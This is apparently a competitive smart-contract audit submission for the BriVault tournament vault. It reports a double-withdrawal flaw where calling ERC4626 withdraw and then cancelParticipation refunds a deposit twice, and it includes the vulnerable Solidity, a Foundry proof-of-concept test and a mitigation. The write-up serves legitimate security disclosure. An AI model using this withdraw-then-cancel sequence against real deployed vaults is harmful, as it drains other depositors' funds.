BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

MEV bot can repeat users' deposits and steal funds by depositing the same amount and withdrawing the funds using the ERC4626::withdraw function and BriVault::cancelParticipation sequentially after every deposit but before event starts.

alexscherbatyuk

Root + Impact

Description

  • The BriVault contract allows users to deposit assets to participate in a tournament, overriding deposit to track staked amounts in the stakedAsset mapping. Users can cancel participation before the event starts using cancelParticipation, which refunds the staked amount, burns all shares, and resets the mapping. The inherited ERC4626::withdraw function allows standard withdrawals based on share balance, transferring assets and burning shares accordingly.

  • However, neither withdraw nor cancelParticipation validates the state against the other, enabling a user to first call withdraw to burn shares and receive assets based on balance, then call cancelParticipation to receive an additional refund from stakedAsset without shares, resulting in a double withdrawal that drains the vault. This vulnerability allows MEV bots to backrun user deposits in the mempool, mimic the deposit amount, and perform the double withdrawal sequence repeatedly until eventStartDate is reached.

// Root cause in the codebase with @> marks to highlight the relevant section
/// @inheritdoc IERC4626
@> function withdraw(uint256 assets, address receiver, address owner) public virtual returns (uint256) {
uint256 maxAssets = maxWithdraw(owner);
if (assets > maxAssets) {
revert ERC4626ExceededMaxWithdraw(owner, assets, maxAssets);
}
​
uint256 shares = previewWithdraw(assets);
_withdraw(_msgSender(), receiver, owner, assets, shares);
​
return shares;
}
​
...
​
function cancelParticipation() public {
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
​
uint256 refundAmount = stakedAsset[msg.sender];
​
@> stakedAsset[msg.sender] = 0;
​
@> uint256 shares = balanceOf(msg.sender);
​
_burn(msg.sender, shares);
​
@> IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

Risk

Likelihood:

  • Deposits occur in the mempool during the pre-event phase before eventStartDate.

  • MEV bots continuously monitor and backrun deposit transactions to replicate and exploit the sequence.

Impact:

  • Protocol experiences funds drain through repeated double withdrawals, leading to insolvency and zero rewards for legitimate participants.

  • Core tournament logic is compromised, causing users to lose deposits and eroding trust in the protocol.

Proof of Concept

Add the following code snippet to the briVault.t.sol test file.This test verifies that user can perform double withdraw sequentially calling ERC4626::withdraw and then BriVault::cancelParticipation.

function test_duableWithdrawProtocolDrain() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
uint256 user3Shares = briVault.deposit(5 ether, user3);
vm.stopPrank();
​
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
uint256 user2Shares = briVault.deposit(5 ether, user2);
vm.stopPrank();
​
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
uint256 user1Shares = briVault.deposit(5 ether, user1);
uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
​
console.log("user2Shares: ", user2Shares);
console.log("user1Shares: ", user1Shares);
console.log("balanceBeforuser1: ", balanceBeforuser1);
​
//ERC4626 withdraw function call
briVault.withdraw(briVault.balanceOf(user1), user1, user1);
uint256 balanceAfteruser1 = mockToken.balanceOf(user1);
console.log("userBalanceAfterWithdrawl: ", balanceAfteruser1);
briVault.cancelParticipation();
uint256 balanceAfteCancelruser1 = mockToken.balanceOf(user1);
console.log("balanceAfteCancelruser1: ", balanceAfteCancelruser1);
vm.stopPrank();
​
assertGe(balanceAfteruser1, balanceBeforuser1, "Balance after grater than before");
}

Recommended Mitigation

Possible mitigation to override the standard function withdraw with similar to cancelParticipation logic or revert, preserving ERC4626 standard withdraw arguments.

+ function withdraw(uint256 assets, address receiver, address owner) public override returns (uint256) {
+ revert limiteExceede();
+ }
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!